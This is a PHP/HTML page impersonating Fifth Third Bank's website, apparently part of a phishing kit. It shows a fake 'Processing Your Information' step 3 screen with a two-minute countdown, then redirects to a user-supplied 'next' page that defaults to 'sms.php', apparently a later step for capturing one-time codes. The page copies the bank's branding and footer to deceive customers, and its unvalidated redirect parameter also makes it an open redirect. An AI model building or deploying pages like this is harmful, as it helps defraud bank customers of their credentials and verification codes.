<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Fifth Third Bank — Please wait</title>
    <style>*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{--blue:#1A5DCD;--blue-dk:#1249a8;--green:#00A651;--green-dk:#008a44;--navy:#1C2B4A;--text:#1a1a1a;--sub:#555;--border:#dde2ea;--white:#fff}
html,body{height:100%;font-family:Inter,sans-serif;color:var(--text)}
body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}
.top-nav{background:var(--white);padding:0 48px;height:68px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #e8eaf0;z-index:200}
.nav-logo img{height:44px;width:auto}
.nav-tabs{display:flex}
.nav-tabs a{font-size:14px;font-weight:700;color:var(--sub);text-decoration:none;padding:0 18px;height:68px;display:flex;align-items:center;border-bottom:3px solid transparent;text-transform:uppercase}
.nav-tabs a.active{color:var(--blue);border-bottom-color:var(--blue)}
.nav-divider{width:1px;height:22px;background:#ccc;margin:0 4px}
.btn-nav{background:var(--green);color:#fff;border:none;border-radius:24px;padding:11px 26px;font-family:Inter,sans-serif;font-size:14px;font-weight:700;cursor:pointer}
.sub-nav{background:var(--navy);padding:0 48px;height:46px;display:flex;align-items:center;justify-content:space-between}
.sub-nav-left{display:flex}
.sub-nav-left a{font-size:13px;font-weight:700;color:rgba(255,255,255,.88);text-decoration:none;padding:0 18px;height:46px;display:flex;align-items:center}
.sub-nav-right{display:flex;gap:20px}
.sub-nav-right a{font-size:12.5px;color:rgba(255,255,255,.75);text-decoration:none}
.page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:60px 20px;background:var(--blue)}
.bg-art{position:absolute;right:0;top:0;bottom:0;width:50%;background:url("res/img/background.png") center center / cover no-repeat;opacity:.15;z-index:0}
.card{position:relative;z-index:2;background:var(--white);width:100%;max-width:520px;border-radius:10px;padding:38px;box-shadow:0 12px 48px rgba(0,0,0,.22);animation:ci .4s ease both}
@keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}
.card-logo{margin-bottom:22px;text-align:center}
.card-logo img{height:44px;width:auto;display:inline-block}
.steps{display:flex;align-items:center;gap:8px;margin-bottom:22px}
.st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
.st.done{background:var(--blue);color:#fff}
.st.active{background:var(--green);color:#fff;box-shadow:0 0 0 3px rgba(0,166,81,.2)}
.st.pend{background:#eef0f8;color:#aab}
.sl{flex:1;height:2px;background:#dde2ea;border-radius:2px}
.sl.done{background:var(--blue);opacity:.4}
.ch{margin-bottom:18px;padding-bottom:16px;border-bottom:3px solid var(--green)}
.ch h1{font-size:20px;font-weight:700;color:var(--navy)}
.ch p{font-size:13px;color:var(--sub);margin-top:4px}
.notice{display:flex;align-items:center;gap:9px;background:rgba(26,93,205,.06);border:1px solid rgba(26,93,205,.18);border-radius:6px;padding:10px 13px;margin-bottom:16px}
.notice svg{flex-shrink:0;color:var(--blue)}
.notice span{font-size:12.5px;color:var(--blue);font-weight:500}
.f{margin-bottom:13px}
.f label{display:block;font-size:11.5px;font-weight:700;color:var(--sub);margin-bottom:5px;letter-spacing:.05em;text-transform:uppercase}
.f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:6px;font-family:Inter,sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.f input::placeholder{color:#bbb}
.f input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(26,93,205,.12);background:#fff}
.frow{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-bottom:13px}
.frow .f{margin-bottom:0}
.btn-main{width:100%;height:48px;background:var(--green);color:#fff;border:none;border-radius:6px;font-family:Inter,sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:16px;display:flex;align-items:center;justify-content:center;gap:8px;transition:background .15s}
.btn-main:hover{background:var(--green-dk)}
.clinks{display:flex;flex-direction:column;gap:10px;padding-top:14px;border-top:1px solid var(--border)}
.clinks a{font-size:13px;color:var(--blue);text-decoration:none;display:flex;align-items:center;gap:5px}
.clinks a:hover{text-decoration:underline}
#loader{display:none;position:fixed;inset:0;background:rgba(255,255,255,.92);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:16px}
#loader img{width:60px;height:60px;animation:spin 1s linear infinite}
#loader p{font-size:15px;font-weight:600;color:#333;font-family:Inter,sans-serif}
@keyframes spin{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}
.page-footer{background:var(--navy);padding:20px 48px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
.footer-links{display:flex;gap:20px;flex-wrap:wrap}
.footer-links a{font-size:12px;color:rgba(255,255,255,.5);text-decoration:none}
.footer-copy{font-size:12px;color:rgba(255,255,255,.3)}
@media(max-width:500px){.card{padding:24px 20px 28px}.frow{grid-template-columns:1fr}.nav-tabs{display:none}.top-nav,.sub-nav{padding-left:20px;padding-right:20px}}
</style>
</head>
<body>
<nav class="top-nav">
    <div class="nav-logo"><img src="res/img/logo.svg" alt="Fifth Third Bank"></div>
    <div class="nav-tabs"><a href="#" class="active">Personal</a><div class="nav-divider"></div><a href="#">Business</a><div class="nav-divider"></div><a href="#">Commercial</a><div class="nav-divider"></div><a href="#">Wealth Management</a></div>
    <button class="btn-nav">Log In</button>
</nav>
<div class="sub-nav">
    <div class="sub-nav-left"><a href="#">Bank</a><a href="#">Borrow</a><a href="#">Insure</a><a href="#">Invest</a><a href="#">Plan</a></div>
    <div class="sub-nav-right"><a href="#">Financial Insights</a><a href="#">About Us</a><a href="#">Customer Service</a><a href="#">Branch &amp; ATM Locator</a></div>
</div>

<style>
.ring-wrap{position:relative;width:138px;height:138px;margin:0 auto 22px}
.ring-wrap svg{width:138px;height:138px;transform:rotate(-90deg)}
.ring-track{fill:none;stroke:#dde2ea;stroke-width:6}
.ring-prog{fill:none;stroke:var(--green);stroke-width:6;stroke-linecap:round;stroke-dasharray:326.7;stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;filter:drop-shadow(0 0 5px rgba(0,166,81,.3))}
.ring-lbl{position:absolute;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center}
.ring-time{font-size:32px;font-weight:700;color:var(--navy);line-height:1}
.ring-unit{font-size:11px;color:var(--sub);margin-top:5px;letter-spacing:.08em;text-transform:uppercase}
.dots{display:flex;justify-content:center;gap:8px;margin-bottom:20px}
.dots span{width:9px;height:9px;border-radius:50%;background:#dde2ea;transition:background .4s,transform .3s}
.dots span.lit{background:var(--green);transform:scale(1.25)}
.info-n{display:inline-flex;align-items:center;gap:8px;background:rgba(26,93,205,.06);border:1px solid rgba(26,93,205,.18);border-radius:6px;padding:10px 18px;font-size:12.5px;color:var(--blue);font-weight:600}</style>
<div class="page-bg">
    <div class="bg-art"></div>
    <div class="card" style="text-align:center">
        <div class="card-logo"><img src="res/img/logo.svg" alt="Fifth Third Bank"></div>
        <div class="steps"><div class="st done">&#10003;</div><div class="sl done"></div><div class="st done">&#10003;</div><div class="sl done"></div><div class="st active">3</div></div>
        <div class="ring-wrap">
            <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-prog" id="rp" cx="55" cy="55" r="52"/></svg>
            <div class="ring-lbl"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
        </div>
        <div style="margin-bottom:22px"><h1 style="font-size:18px;font-weight:700;color:var(--navy);margin-bottom:8px">Processing Your Information</h1><p style="font-size:13.5px;color:var(--sub);line-height:1.65;max-width:300px;margin:0 auto">Please wait while we securely verify your request. Do not close this window.</p></div>
        <div class="dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
        <div class="info-n"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
    </div>
</div>
<footer class="page-footer">
    <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">FDIC</a><a href="#">Contact Us</a></div>
    <div class="footer-copy">© 2025 Fifth Third Bank, N.A. Member FDIC.</div>
</footer>
<div id="loader"><img src="res/img/logo.svg" alt="Loading"><p>Please wait...</p></div>
<script>
var next="<?php echo htmlspecialchars($_GET['next']??'sms.php',ENT_QUOTES);?>";
const TOTAL=120;let rem=TOTAL;
const disp=document.getElementById('td'),ring=document.getElementById('rp');
const CIRC=2*Math.PI*52;
const dots=[0,1,2,3,4].map(i=>document.getElementById('d'+i));
function tick(){const m=Math.floor(rem/60),s=rem%60;disp.textContent=m+':'+String(s).padStart(2,'0');ring.style.strokeDashoffset=CIRC*(1-rem/TOTAL);const lit=Math.floor(((TOTAL-rem)/TOTAL)*dots.length);dots.forEach((d,i)=>d.classList.toggle('lit',i<=lit));if(rem<=0){clearInterval(t);window.location=next;}else rem--;}
tick();const t=setInterval(tick,1000);
</script>
</body>
</html>